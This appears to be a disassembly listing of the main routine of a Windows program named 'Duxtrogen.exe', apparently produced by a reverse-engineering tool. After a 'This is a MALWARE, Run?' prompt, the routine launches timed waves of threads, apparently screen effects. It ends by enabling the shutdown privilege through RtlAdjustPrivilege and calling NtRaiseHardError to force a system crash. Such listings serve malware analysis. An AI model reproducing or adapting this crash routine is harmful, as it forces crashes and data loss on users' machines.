Function at 0x14001141a
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
jmp 0x14001a000
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xd2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140033040]
xor rax, rbp
mov qword [rbp + 0x4b8], rax
lea rcx, [0x14003e0f5]
call fcn.1400115f5
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov r9d, 0x34
lea r8, str.Duxtrogen.exe
lea rdx, str.This_is_a_MALWARE__Run_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
jne 0x14001a07c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400113f7]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001156e]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001131b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400110ff]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001134d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400111db]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011258]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
call fcn.1400111ea
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011212]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011019]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x88], rax
call fcn.1400110be
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001166d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xa8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011177]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xc8], rax
call fcn.14001163b
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011235]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001164a]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x108], rax
call fcn.140011104
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011375]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x128], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400114f6]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x148], rax
call fcn.14001123a
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400114ab]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x168], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011401]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x188], rax
call fcn.140011078
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001136b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x1a8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001109b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x1c8], rax
call fcn.14001120d
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011032]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x1e8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001157d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x208], rax
call fcn.1400115dc
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001164f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x228], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001164a]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x248], rax
call fcn.1400114bf
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011550]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x268], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001150f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x288], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011307]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x2a8], rax
call fcn.140011064
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
xor edx, edx
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_InvalidateRect]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.NtRaiseHardError
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x308], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x328], rax
lea r9, [rbp + 0x2c4]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [rbp + 0x328]
lea rax, [rbp + 0x2e4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002d1
call qword [rbp + 0x308]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001a969
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002bc60]
call fcn.140011519
mov rax, rdi
mov rcx, qword [rbp + 0x4b8]
xor rcx, rbp
call fcn.1400112d5
lea rsp, [rbp + 0x4c8]
pop rdi
pop rbp
ret